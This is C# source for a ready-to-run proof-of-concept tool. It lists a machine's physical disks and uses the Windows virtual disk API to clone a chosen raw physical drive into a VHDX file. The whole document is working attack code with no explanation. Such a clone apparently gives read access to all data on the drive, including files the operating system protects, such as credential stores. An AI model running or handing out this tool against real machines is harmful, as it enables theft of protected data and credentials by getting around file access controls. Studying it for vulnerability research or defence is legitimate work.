using Microsoft.Win32.SafeHandles; using System; using System.Collections.Generic; using System.ComponentModel; using System.Diagnostics; using System.IO; using System.Management; using System.Runtime.InteropServices; using System.Linq; namespace Poc { class Program { enum StorageDeviceType { Unknown = 0, Iso = 1, Vhd = 2, Vhdx = 3, VhdSet = 4, } [StructLayout(LayoutKind.Sequential)] struct VirtualStorageType { public StorageDeviceType DeviceId; public Guid VendorId; } enum OpenVirtualDiskFlag { None = 0, NoParents = 1, BlankFile = 2, BootDrive = 4, CachedIo = 8, DiffChain = 0x10, ParentcachedIo = 0x20, VhdSetFileOnly = 0x40, } enum CreateVirtualDiskVersion { Unspecified = 0, Version1 = 1, Version2 = 2, Version3 = 3, } [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] struct CreateVirtualDiskParameters { public CreateVirtualDiskVersion Version; public Guid UniqueId; public ulong MaximumSize; public uint BlockSizeInBytes; public uint SectorSizeInBytes; [MarshalAs(UnmanagedType.LPWStr)] public string ParentPath; [MarshalAs(UnmanagedType.LPWStr)] public string SourcePath; } enum VirtualDiskAccessMask { None = 0, AttachRo = 0x00010000, AttachRw = 0x00020000, Detach = 0x00040000, GetInfo = 0x00080000, Create = 0x00100000, MetaOps = 0x00200000, Read = 0x000d0000, All = 0x003f0000 } enum CreateVirtualDiskFlag { None = 0x0, FullPhysicalAllocation = 0x1, PreventWritesToSourceDisk = 0x2, DoNotcopyMetadataFromParent = 0x4, CreateBackingStorage = 0x8, UseChangeTrackingSourceLimit = 0x10, PreserveParentChangeTrackingState = 0x20, } [DllImport("virtdisk.dll", CharSet=CharSet.Unicode)] static extern int CreateVirtualDisk( [In] ref VirtualStorageType VirtualStorageType, string Path, VirtualDiskAccessMask VirtualDiskAccessMask, [In] byte[] SecurityDescriptor, CreateVirtualDiskFlag Flags, uint ProviderSpecificFlags, [In] ref CreateVirtualDiskParameters Parameters, IntPtr Overlapped, out IntPtr Handle ); static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505"); static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B"); class PhysicalDisk { public uint Index { get; private set; } public string Name { get; private set; } public uint SectorSizeInBytes { get; private set; } public ulong SizeInBytes { get; private set; } public string Model { get; private set; } public PhysicalDisk(ManagementObject wmi_object) { Index = (uint)wmi_object["Index"]; Name = (string)wmi_object["DeviceId"]; SectorSizeInBytes = (uint)wmi_object["BytesPerSector"]; SizeInBytes = (ulong)wmi_object["Size"]; Model = (string)wmi_object["Model"]; } static string FormatHuman(ulong l) { if (l < 1000 * 1000) return l.ToString(); l = l / (1000 * 1000); if (l < 1000) return String.Format("{0}MB", l); l = l / (1000); if (l < 1000) return String.Format("{0}GB", l); l = l / (1000); if (l < 1000) return String.Format("{0}TB", l); return l.ToString(); } public override string ToString() { return String.Format("{0}: Name={1}, Model={2}, Size={3}", Index, Name, Model, FormatHuman(SizeInBytes)); } public static IEnumerable GetDisks() { SelectQuery selectQuery = new SelectQuery("Win32_DiskDrive"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(selectQuery); foreach (ManagementObject disk in searcher.Get()) { yield return new PhysicalDisk(disk); } } } static PhysicalDisk GetPhysicalDisk(uint index) { PhysicalDisk disk = PhysicalDisk.GetDisks().First(d => d.Index == index); if (disk == null) throw new InvalidOperationException(String.Format("Can't find physical disk index {0}", index)); return disk; } static void PrintPhysicalDisks() { foreach (PhysicalDisk disk in PhysicalDisk.GetDisks()) { Console.WriteLine(disk); } } static SafeFileHandle CreateVHD(string path, PhysicalDisk disk) { VirtualStorageType vhd_type = new VirtualStorageType(); vhd_type.DeviceId = StorageDeviceType.Vhdx; vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT; CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters(); ps.Version = CreateVirtualDiskVersion.Version1; ps.SectorSizeInBytes = disk.SectorSizeInBytes; ps.MaximumSize = disk.SizeInBytes + (100 * 1024 * 1024); ps.SourcePath = disk.Name; IntPtr hDisk; int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk); if (error != 0) { throw new Win32Exception(error); } return new SafeFileHandle(hDisk, true); } static void Main(string[] args) { try { if (args.Length < 2) { Console.WriteLine(@"[USAGE]: poc output.vhdx driveno"); Console.WriteLine("Where driveno is one of the following indexes"); PrintPhysicalDisks(); Environment.Exit(1); } string vhd_path = Path.GetFullPath(args[0]); vhd_path = Path.ChangeExtension(vhd_path, ".vhdx"); File.Delete(vhd_path); PhysicalDisk disk = GetPhysicalDisk(uint.Parse(args[1])); Console.WriteLine("[INFO]: Creating VHD {0} from {1}", vhd_path, disk.Name); using (SafeFileHandle handle = CreateVHD(vhd_path, disk)) { Console.WriteLine("[SUCCESS]: Created clone of physical disk"); } } catch (Exception ex) { Console.WriteLine("[ERROR]: {0}", ex.Message); } } } }